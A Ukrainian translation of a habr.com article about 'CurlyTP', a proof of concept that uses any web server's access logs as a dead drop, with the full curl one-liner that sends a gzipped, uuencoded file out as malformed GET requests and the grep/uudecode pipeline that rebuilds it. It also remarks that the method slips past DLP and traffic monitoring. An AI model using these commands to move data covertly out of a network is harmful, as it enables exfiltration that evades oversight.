Обмін секретними повідомленнями через серверні логи

Згідно з визначенням у Вікіпедії, схованка (dead drop) — це інструмент конспірації, який служить для обміну інформацією чи якимись предметами між людьми, які використовують секретне місцезнаходження. Сенс у тому, що люди ніколи не зустрічаються, але при цьому обмінюються інформацією, підтримуючи експлуатаційну безпеку.

Схованка не повинна привертати увагу. Тому в офлайновому світі часто використовують непомітні речі: вільну цеглу у стіні, бібліотечну книгу чи дупло у дереві.

Інтернет має багато інструментів для шифрування та анонімізації, але сам факт використання цих інструментів привертає увагу. Крім того, вони можуть бути заблоковані на корпоративному чи державному рівні. Що робити?

Розробник Райан Флауерс (Ryan Flowers) запропонував цікавий варіант. використовувати як схованку будь-який веб-сервер. Якщо подумати, що робить веб-сервер? Приймає запити, видає файли та пише лог. І він записує в лог всі запити, навіть некоректні!

Виходить, будь-який веб-сервер дозволяє зберегти в лозі майже довільне повідомлення. Флауерс замислився над тим, як це використати.

Він пропонує такий варіант:

  1. Беремо текстовий файл (секретне повідомлення) та обчислюємо хеш (md5sum).
  2. Кодуємо його (gzip+uuencode).
  3. Записуємо в лог шляхом заздалегідь некоректного запиту до сервера.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Для читання файлу потрібно зробити ці операції у зворотному порядку: розкодувати і розархівувати файл, звірити хеш (хеш можна безпечно передати відкритими каналами).

Прогалини замінюються на =+=, щоб на адресі не було пробілів. Програма, яку автор назвав CurlyTP, використовує кодування base64, як у вкладеннях електронної пошти. Запит робиться із ключовим словом ?transfer?щоб одержувач легко знайшов його в логах.

Що ми бачимо у логах у такому разі?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Як було зазначено, щоб одержати секретного повідомлення потрібно зробити операції у порядку:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Процес легко автоматизувати. Md5sum збігається і вміст файлу підтверджує, що все правильно розкодувалося.

Метод дуже простий. «Сенс цієї вправи лише в тому, щоб довести, що файли можна передавати через невинні маленькі веб-запити, і це працює на будь-якому веб-сервері із звичайними текстовими логами. По суті, кожен веб-сервер є схованою!», - пише Флауерс.

Звичайно, метод працює тільки в тому випадку, якщо одержувач має доступ до серверних логів. Але такий доступ дають, наприклад, багато хостерів.

Як це використати?

Райан Флауерс каже, що він не фахівець з інформаційної безпеки і не складатиме список можливих застосувань CurlyTP. Для нього це просто доказ концепції, що звичні інструменти, які ми бачимо щодня, можна використовувати у нетрадиційний спосіб.

Насправді такий метод має низку переваг перед іншими серверними схованками типу Digital Dead Drop або PirateBox: він не вимагає особливого налаштування на стороні сервера або якихось спеціальних протоколів — і не викликає підозри у тих, хто відстежує трафік. Навряд чи СОРМ або система DLP скануватиме URL'и на предмет стислих текстових файлів.

Це один із способів передачі повідомлень через службові файли. Можна згадати, як раніше деякі просунуті компанії розміщували вакансії для розробників у заголовках HTTP або у коді HTML-сторінок.

Обмін секретними повідомленнями через серверні логи

Ідея була в тому, що таку «пасхалку» побачать лише веб-розробники, оскільки нормальна людина не переглядатиме заголовки або код HTML.

Обмін секретними повідомленнями через серверні логи

Джерело: habr.com

Додати коментар або відгук